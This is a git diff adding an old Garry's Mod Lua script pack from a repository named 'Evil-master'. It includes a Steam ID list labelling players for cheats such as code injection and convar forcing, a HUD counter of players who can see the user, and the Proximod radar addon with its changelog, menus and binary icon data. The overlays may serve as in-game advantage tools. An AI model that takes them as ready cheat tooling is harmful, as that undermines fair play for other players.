(null)", Skid = true}, + ["STEAM_0:0:14922341"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:25309195"] = {Name = "SP: Code Injection", Skid = true}, + ["STEAM_0:1:19797567"] = {Name = "SP: Code injection", Skid = true}, + ["STEAM_0:0:6381908"] = {Name = "SP: Convar forcing", Skid = true}, + ["STEAM_0:0:47444339"] = {Name = "SP: Code Injection", Skid = true}, + + \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/witnesses.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/witnesses.lua new file mode 100644 index 0000000..57b0b97 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/witnesses.lua @@ -0,0 +1,129 @@ +ELEMENT.Name = "Witnesses" +ELEMENT.DefaultOff = true +ELEMENT.DefaultGridPosX = 8 +ELEMENT.DefaultGridPosY = 0 +ELEMENT.SizeX = -1.3 +ELEMENT.SizeY = -0.65 + +//ELEMENT.MaxWitnesses = 10 +ELEMENT.colorBadLesser = ELEMENT.Theme:GetColorReference( "badcolor" ) + +ELEMENT.myRealPos = nil +ELEMENT.myTrace = {} +ELEMENT.myTraceRes = {} +ELEMENT.myTraceRes.mask = MASK_SOLID_BRUSHONLY + +ELEMENT.angleCap = math.cos(math.rad(45)) +//print(ELEMENT.angleCap) + +ELEMENT.lastWitnessCheck = 0 +ELEMENT.witnessCheckDelay = 0.3 + +ELEMENT.counter = 0 +ELEMENT.looking = 0 + +ELEMENT.TIME_LastPlayerFind = 0 +ELEMENT.TIME_DELAY_PLY = 2.0 + +ELEMENT.FINDER_Players = {} + +ELEMENT.eyeOffs = Vector(0,0,32) + + +function ELEMENT:Initialize() + self:CreateSmoother("area", 0, 0.1) + self:CreateSmoother("looking", 0, 0.1) + self:CreateSmoother("rate", 0, 0.2) +end + +function ELEMENT:UseMyOwnFindPlayers() + if (CurTime() < (self.TIME_LastPlayerFind + self.TIME_DELAY_PLY)) then return end + + self.FINDER_Players = {} + self.FINDER_Players = player.GetAll() + for k,ply in pairs(self.FINDER_Players) do + if (ply:Team() == TEAM_SPECTATOR) then + table.remove( self.FINDER_Players, k ) + end + end + self.TIME_LastPlayerFind = CurTime() +end + +function ELEMENT:GetBestPlayerTable() + if (dhradar_dat and dhradar_dat.FINDER_Players) and (dhinline.GetVar("dhradar_enable") > 0) then + return dhradar_dat.FINDER_Players + else + self:UseMyOwnFindPlayers() + return self.FINDER_Players + end +end + +function ELEMENT:DrawFunction() + if SinglePlayer() then return end + self:FadeIn() + + local area_smooth = nil + local looking_smooth = nil + local rate_smooth = nil + local text = "" + local smallText = "" + local rate = 0 + + local myBestPlayerTable = self:GetBestPlayerTable() + if (CurTime() > ( self.lastWitnessCheck + self.witnessCheckDelay )) then + self.looking = 0 + self.counter = 0 + + self.myRealPos = LocalPlayer():EyePos() + for k,ply in pairs(myBestPlayerTable) do + if ply:IsValid() and (ply ~= LocalPlayer()) then + self.myTrace.start = self.myRealPos + self.eyeOffs + self.myTrace.endpos = ply:EyePos() + self.eyeOffs + self.myTrace.filter = { ply , LocalPlayer() } + + self.myTraceRes = util.TraceLine( self.myTrace ) + if (not self.myTraceRes.Hit) then + self.counter = self.counter + 1 + if (ply:EyeAngles():Forward():DotProduct((self.myRealPos - ply:EyePos()):Normalize()) > self.angleCap) then + self.looking = self.looking + 1 + end + end + end + end + self:ChangeSmootherTarget("area", self.counter) + self:ChangeSmootherTarget("looking", self.looking) + + self.lastWitnessCheck = CurTime() + end + + looking_smooth = math.Round(self:GetSmootherCurrent("looking")) + area_smooth = math.Round(self:GetSmootherCurrent("area")) + + rate = (1 - math.Clamp(looking_smooth / math.Clamp(area_smooth,1,128),0,1))^2 + self:ChangeSmootherTarget("rate", rate) + + text = looking_smooth .. " / " .. area_smooth + smallText = "WITNESSES" + + rate_smooth = self:GetSmootherCurrent("rate") + + + self:DrawGenericInfobox( +/*Text */ text +/*Subtxt */ ,smallText +/* % */ ,rate_smooth or rate +/*atRight*/ ,false +/*0.0 col*/ ,self.colorBadLesser +/*1.0 col*/ ,nil +/*minSize*/ ,1.0 +/*maxSize*/ ,1.0 +/*blink< */ ,-1 +/*blinkSz*/ ,1.0 +/*Font */ ,1 +/*bStatic*/ ,true +/*stCol */ ,nil +/*stColSm*/ ,nil + ) + + return true +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/README.md b/Repos/Evil-master/v12/HeXs_Scripts/README.md new file mode 100644 index 0000000..fdb1aa6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/README.md @@ -0,0 +1,11 @@ + +=== OLD FILE, DO NOT USE. MOVED FROM GOOGLECODE 26.07.14 === + + +My old script pack. +Folders: + ./DevStuff/ - Old code/scripts + ./garrysmod/ - Main scripts + hex.cfg - Keybinds + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/KIDA.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/KIDA.lua new file mode 100644 index 0000000..2fcd5a2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/KIDA.lua @@ -0,0 +1 @@ +Kida = true diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/MAIN.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/MAIN.lua new file mode 100644 index 0000000..022c832 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/MAIN.lua @@ -0,0 +1 @@ +MAIN = true diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/data/proxi.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/data/proxi.txt new file mode 100644 index 0000000..eb515a6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/data/proxi.txt @@ -0,0 +1,70 @@ +0.205 +Fixed Compass being not oriented correctly. North is now aligned to +Y. +& +Fixed menu lists not allowing scrolling down. +0.204 +Fixed FamiliarizeString issue on NPC beacon. +0.203 +Fixed Q menu checkbox not running the callbacks. +0.202 +Fixed infinite loop when typing on text fields. +& +Provided a way to close the menu using a button. +0.201 +Fixed Wallfinders not running. +0.2 +Proxi is now using HayFrame, including a redesigned menu. +0.123 +Wallfinder Pierce-Traceback performs a wall-angle estimation in order to get more precision on closer walls. +& +Added experimental Eyemod Debug mode. +0.122 +Added Pin Scale option (Won't work yet will all beacons). +0.121 +Added yet another Wallfinder that can find walls on the opposite direction after piercing. +0.12 +Added maximum distance slider for Entity Select. +& +Added maximum distance bypass checkboxes for some beacons. +0.114 +Player beacon now only displays the first letter of the player name if the beacon is bound to the circle. +& +Player beacon now only displays the full nickname of Steam Friends no matter what. +& +Added requested Helper Square (simple version). +& +Added Voice Chat beacon. +0.113 +Altered Wallfinder incremental. +0.112 +Added experimental Wallfinder with piercer (Red lines). +& +Changed Chat beacon opacity. +0.111 +Fixed a bug that occurs when the script is reloaded during a single session breaking down the beacons system. +0.11 +Added end-user hidden Mount system. +& +Beacons are now part of an Inscript-like architecture. +& +Added Callbacks on Enable global and Beacon enable variables. +& +Added Chat beacon (The first Event beacon). +& +Changed Wallfinder to perform scans in a triform. +0.104 +Player beacon will now make the Local Player name translucent if thy's not near the center. +& +Added experimental Wallfinder beacon. +0.103 +Added NPC, NPC LOS, and Compass for Contraptions. +& +Cleaned up menu. +& +Menu beacons are now ordered in alphabetic order. +0.102 +Fixed a critical bug which crashes the menu (due to poor copy and paste). +0.101 +Made available for betatesting. +0.1 +Proxi Project. \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/defaultlogo.ico b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/defaultlogo.ico new file mode 100644 index 0000000000000000000000000000000000000000..a39aa76f48f6b910671f1e796979017a8a4b6a47 GIT binary patch literal 10134 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 e+i~HpxDv&)fBWR64CfH2eiRjcl?)rw~z~(Z0m5 zNVZTQB*c$GqEHYa5`5qJ=DuYzxyPNoyCWw%cJ9pQd(NCW=JLE^FWbI&@>2o8`)~d7 zIWLyc?BD>Itu17Bck{A&ncu&&1MmL+ot+kDXj@(uv7)v>mZk=Q{tg8j4~&od{L)e& zs+E-ZYe*c(UNV*s?LIyNU0weCvN9lwQ8!~Ke6lw~q1FS3hd@mYP*jvRpX{9Zl(Vq# zu@AY%!0ipMNU|_&~A8h{03J{9{)zu$N^K7wSUk{v|=o+rB zfQAM)4K}}DDnETSnf96Dcux=T{H$wOTl3doeY5AAzuWvo!c8|dOik&0j%4ez$+P=W z`Sgo(H#T$)F7-JopMEd~+~=DcUBl54P*tU$$$a^}y}-kR&R>$hDy#`w9z^BS_r^wm zxvsV2W1z0?^IW$1Lqp;DM_*Xu*4H(%e>S?i!`HI;$)rDr{%L2BV-piPnF*yu2VI_syubCv#I`F)=c;{|xYk6F+0W;>q~;ZykSn" ) + local split = string.Explode( "\n", contents ) + if (#split % 2) == 0 then + local dList = vgui.Create("DListView") + dList:SetMultiSelect( false ) + dList:SetTall( refPanel.W_HEIGHT - 40 ) + dList:AddColumn( "Ver." ):SetMaxWidth( 45 ) -- Add column + dList:AddColumn( "Type" ):SetMaxWidth( 60 ) -- Add column + dList:AddColumn( "Log" ) + + local gotMyVer = false + for i=1, #split, 2 do + local iVer = tonumber( split[i] or 0 ) or 0 + if not gotMyVer and iVer ~= 0 and iVer <= myVer and (split[i+2] ~= "&") then + dList:AddLine( "*" .. myVer .. "*", "Locale", "< Currently installed version >" ) + gotMyVer = true + + end + local nature = tonumber( split[i] ) + nature = (nature == nil) and "" or math.floor(nature*1000) % 10 > 0 and "Fix" or math.floor(nature*100) % 10 > 0 and "Feature" or "Release" + local myLine = dList:AddLine( (split[i] ~= "&") and split[i] or "", tostring(nature), split[i+1] or "" ) + myLine:SizeToContents() + + end + + proxi.Util_AppendPanel( refPanel, dList ) + --dList:SizeToContents() + + else + proxi.Util_AppendLabel( refPanel, "", 70, true ) + + end + + elseif not proxi_internal.GetReplicate then + proxi.Util_AppendLabel( refPanel, "Couldn't load changelog because your Locale version is too old.", 70, true ) + + else + proxi.Util_AppendLabel( refPanel, "Couldn't load changelog because ".. PROXI_NAME .." failed to pickup information from the Cloud.", 70, true ) + + end + + proxi.Util_ApplyCategories( refPanel ) + +end + +function proxi.ShowChangelog( optbKeyboardShouldNotOverride ) + if not proxi.ChangelogPanel then + proxi.BuildChangelog() + end + proxi.ChangelogPanel:MakePopup() + proxi.ChangelogPanel:SetKeyboardInputEnabled( not optbKeyboardShouldNotOverride ) + proxi.ChangelogPanel:SetVisible( true ) +end + +function proxi.HideChangelog() + if not proxi.ChangelogPanel then + return + end + proxi.ChangelogPanel:SetVisible( false ) +end + +function proxi.DestroyChangelog() + if proxi.ChangelogPanel then + proxi.ChangelogPanel:Remove() + proxi.ChangelogPanel = nil + end +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_ctrlcolor.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_ctrlcolor.lua new file mode 100644 index 0000000..2bff1f3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_ctrlcolor.lua @@ -0,0 +1,107 @@ +// +// ___ ___ _ _ _ ___ ___ ___ ___ ___ ___ __ __ +// |_ _|| __| / \ | \_/ | | __| / _ \ | o \|_ _|| o \| __|/ _|/ _| +// | | | _| | o || \_/ | | _| | |_| || / | | | /| _| \_ \\_ \ +// |_| |___||_n_||_| |_| |_| \___/ |_|\\ |_| |_|\\|___||__/|__/ 2010 +// +// + +if SERVER then return end -- YES IT BLENDS + +local PANEL = {} + +AccessorFunc( PANEL, "m_ConVarR", "ConVarR" ) +AccessorFunc( PANEL, "m_ConVarG", "ConVarG" ) +AccessorFunc( PANEL, "m_ConVarB", "ConVarB" ) +AccessorFunc( PANEL, "m_ConVarA", "ConVarA" ) + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:Init() + + self.Mixer = vgui.Create( "DColorMixer", self ) + + self.txtR = vgui.Create( "DNumberWang", self ) + self.txtR:SetDecimals( 0 ) + self.txtR:SetMinMax( 0, 255 ) + self.txtG = vgui.Create( "DNumberWang", self ) + self.txtG:SetDecimals( 0 ) + self.txtG:SetMinMax( 0, 255 ) + self.txtB = vgui.Create( "DNumberWang", self ) + self.txtB:SetDecimals( 0 ) + self.txtB:SetMinMax( 0, 255 ) + self.txtA = vgui.Create( "DNumberWang", self ) + self.txtA:SetDecimals( 0 ) + self.txtA:SetMinMax( 0, 255 ) + self.txtA:SetVisible( false ) + +end + +/*--------------------------------------------------------- + Name: ConVarR +---------------------------------------------------------*/ +function PANEL:SetConVarR( cvar ) + self.Mixer:SetConVarR( cvar ) + self.txtR:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarG +---------------------------------------------------------*/ +function PANEL:SetConVarG( cvar ) + self.Mixer:SetConVarG( cvar ) + self.txtG:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarB +---------------------------------------------------------*/ +function PANEL:SetConVarB( cvar ) + self.Mixer:SetConVarB( cvar ) + self.txtB:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarA +---------------------------------------------------------*/ +function PANEL:SetConVarA( cvar ) + + if ( cvar ) then self.txtA:SetVisible( true ) end + self.Mixer:SetConVarA( cvar ) + self.txtA:SetConVar( cvar ) + +end + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + local y = 0 //self.Label1:GetTall() + 5 + + self:SetTall( 110 ) + + self.Mixer:SetSize( 150, 100 ) + self.Mixer:Center() + self.Mixer:AlignLeft( 5 ) + + self.txtR:SizeToContents() + self.txtG:SizeToContents() + self.txtB:SizeToContents() + self.txtA:SizeToContents() + + self.txtR:AlignRight( 5 ) + self.txtR:AlignTop( 5 ) + self.txtG:CopyBounds( self.txtR ) + self.txtG:CenterVertical( 0.375 ) + self.txtB:CopyBounds( self.txtG ) + self.txtB:CenterVertical( 0.625 ) + self.txtA:CopyBounds( self.txtB ) + self.txtA:AlignBottom( 5 ) + +end + + + +vgui.Register( "CtrlColor", PANEL, "DPanel" ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_cvar_custom.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_cvar_custom.lua new file mode 100644 index 0000000..b75e1e0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_cvar_custom.lua @@ -0,0 +1,23 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// ConVar Reg Method - Customizable // +//////////////////////////////////////////////// + +function proxi.GetVar( sVarName, opt_bReturnString ) + if opt_bReturnString or false then + return GetConVarString(sVarName) + end + return GetConVarNumber(sVarName) +end + +function proxi.CreateVar( sVarName, sContents, shouldSave, userData ) + CreateClientConVar(sVarName, sContents, shouldSave, userData) +end + +function proxi.SetVar( sVarName, tContents ) + RunConsoleCommand( sVarName , tostring(tContents) ) +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menu.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menu.lua new file mode 100644 index 0000000..5653ba0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/archive/cl_proxi_menu.lua @@ -0,0 +1,308 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Menu // +//////////////////////////////////////////////// + +function proxi.MenuCall_ReloadFromCloud() + if proxi_cloud then + proxi_cloud:Ask() + end + +end + +function proxi.MenuCall_ReloadFromLocale() + if proxi_cloud then + proxi_cloud:LoadLocale() + end + +end + +function proxi.BuildMenu( opt_tExpand ) + if proxi.DermaPanel then proxi.DermaPanel:Remove() end + + local bCanGetVersion = proxi_internal ~= nil + local MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK + local ONLINE_VERSION_READ = -1 + if bCanGetVersion then + MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK = proxi_internal.GetVersionData() + + if ONLINE_VERSION == -1 then + ONLINE_VERSION_READ = "" + else + ONLINE_VERSION_READ = tostring( ONLINE_VERSION ) + end + + end + + proxi.DermaPanel = proxi.Util_MakeFrame( 280, ScrH() * 0.80 ) + local refPanel = proxi.DermaPanel + + proxi.Util_MakeCategory( refPanel, "General", 1 ) + proxi.Util_AppendCheckBox( refPanel, "Enable" , "proxi_core_enable" ) + + --Helper label + do + local GeneralTextLabelMessage = "The command \"proxi_menu\" calls this menu.\n" + GeneralTextLabelMessage = GeneralTextLabelMessage .. "Example : To assign " .. PROXI_NAME .. " menu to F10, type in the console :" + + proxi.Util_AppendLabel( refPanel, GeneralTextLabelMessage, 50, true ) + + local GeneralCommandLabel = vgui.Create("DTextEntry") + GeneralCommandLabel:SetText( "bind \"F10\" \"proxi_menu\"" ) + GeneralCommandLabel:SetEditable( false ) + + proxi.Util_AppendPanel( refPanel, GeneralCommandLabel ) + + end + + + --Update label + do + if bCanGetVersion and (MY_VERSION and ONLINE_VERSION and (MY_VERSION < ONLINE_VERSION)) then + GeneralTextLabelMessage = "Your version is "..MY_VERSION.." and the updated one is "..ONLINE_VERSION.." ! You should update !" + proxi.Util_AppendLabel( refPanel, GeneralTextLabelMessage, 50, true ) + + local CReload = vgui.Create("DButton") + CReload:SetText( "Open full Changelog" ) + CReload.DoClick = proxi.ShowChangelog + proxi.Util_AppendPanel( refPanel, CReload ) + + proxi.Util_AppendLabel( refPanel, "" ) + + if ONLINE_VERSION and ONLINE_VERSION ~= -1 then + local myVer = MY_VERSION or 0 + + local contents = proxi_internal.GetReplicate() or ( tostring( MY_VERSION or 0 ) .. "\n" ) + local split = string.Explode( "\n", contents ) + if (#split % 2) == 0 then + local dList = vgui.Create("DListView") + dList:SetMultiSelect( false ) + dList:SetTall( 150 ) + dList:AddColumn( "Ver." ):SetMaxWidth( 45 ) -- Add column + dList:AddColumn( "Log" ) + + local gotMyVer = false + local i = 1 + while (i <= #split) and not gotMyVer do + local iVer = tonumber( split[i] or 0 ) or 0 + if not gotMyVer and iVer ~= 0 and iVer <= myVer and (split[i+2] ~= "&") then + dList:AddLine( "*" .. myVer .. "*", "< Locale version >" ) + gotMyVer = true + + else + local myLine = dList:AddLine( (split[i] ~= "&") and split[i] or "", split[i+1] or "" ) + myLine:SizeToContents() + + end + + i = i + 2 + + end + + proxi.Util_AppendPanel( refPanel, dList ) + + end + + end + + end + + end + + -- Style + proxi.Util_MakeCategory( refPanel, "Regular Mode", 1 ) + proxi.Util_AppendSlider( refPanel, "X Relative Position", "proxi_regmod_xrel", 0, 1, 2) + proxi.Util_AppendSlider( refPanel, "Y Relative Position", "proxi_regmod_yrel", 0, 1, 2) + proxi.Util_AppendSlider( refPanel, "Circle Size", "proxi_regmod_size", 32, 1024, 0) + proxi.Util_AppendSlider( refPanel, "Pin Scale", "proxi_regmod_pinscale", 0, 10, 0) + proxi.Util_AppendLabel( refPanel, "WARNING : The greater the Radius is, the more perspective should you set it up, otherwise 3D beacons won't dislay at all.", 50 ) + proxi.Util_AppendSlider( refPanel, "Isometric < > Perspective", "proxi_regmod_fov", 2, 100, 0) + proxi.Util_AppendSlider( refPanel, "In-world Radius", "proxi_regmod_radius", 128, 4096, 0) + proxi.Util_AppendSlider( refPanel, "Pitch Angle", "proxi_regmod_angle", -90, 90, 0) + proxi.Util_AppendSlider( refPanel, "Pitch Dynamism", "proxi_regmod_pitchdyn", 0, 10, 0) + + -- EyeMod + proxi.Util_MakeCategory( refPanel, "Eye Mode", 1 ) + proxi.Util_AppendCheckBox( refPanel, "Debug" , "proxi_eyemod_override" ) + + + -- UI Design + proxi.Util_MakeCategory( refPanel, "UI Design", 0 ) + proxi.Util_AppendLabel( refPanel, "Ring color" ) + proxi.Util_AppendColor( refPanel, "proxi_uidesign_ringcolor") + proxi.Util_AppendLabel( refPanel, "Background color" ) + proxi.Util_AppendColor( refPanel, "proxi_uidesign_backcolor") + + -- Global Beacons parameters + proxi.Util_MakeCategory( refPanel, "Global Finder", 1 ) + proxi.Util_AppendLabel( refPanel, "NOTE : Beacons are able to bypass this distance using a checkbox.", 50 ) + proxi.Util_AppendSlider( refPanel, "Beacon finder distance", "proxi_global_finderdistance", 1024, 16384, 0) + + -- Beacons + proxi.Util_MakeCategory( refPanel, "Beacons", 1 ) + do + local cat = proxi.Util_CatchCurrentCategory( refPanel ) + cat.List:SetSpacing( 5 ) + + end + + do + local beacons = proxi:GetAllBeacons() + for _,sName in pairs( proxi:GetBeaconOrderTable() ) do + local objBeacon = beacons[ sName ] + + local category = vgui.Create("ProxiCollapsibleCheckbox", refPanel) + category:SetExpanded( false ) + category:SetText( objBeacon:GetDisplayName() ) + category:SetConVar( "proxi_beacons_enable_" .. sName ) + + category.List = vgui.Create("DPanelList", category ) + category.List:EnableHorizontal( false ) + 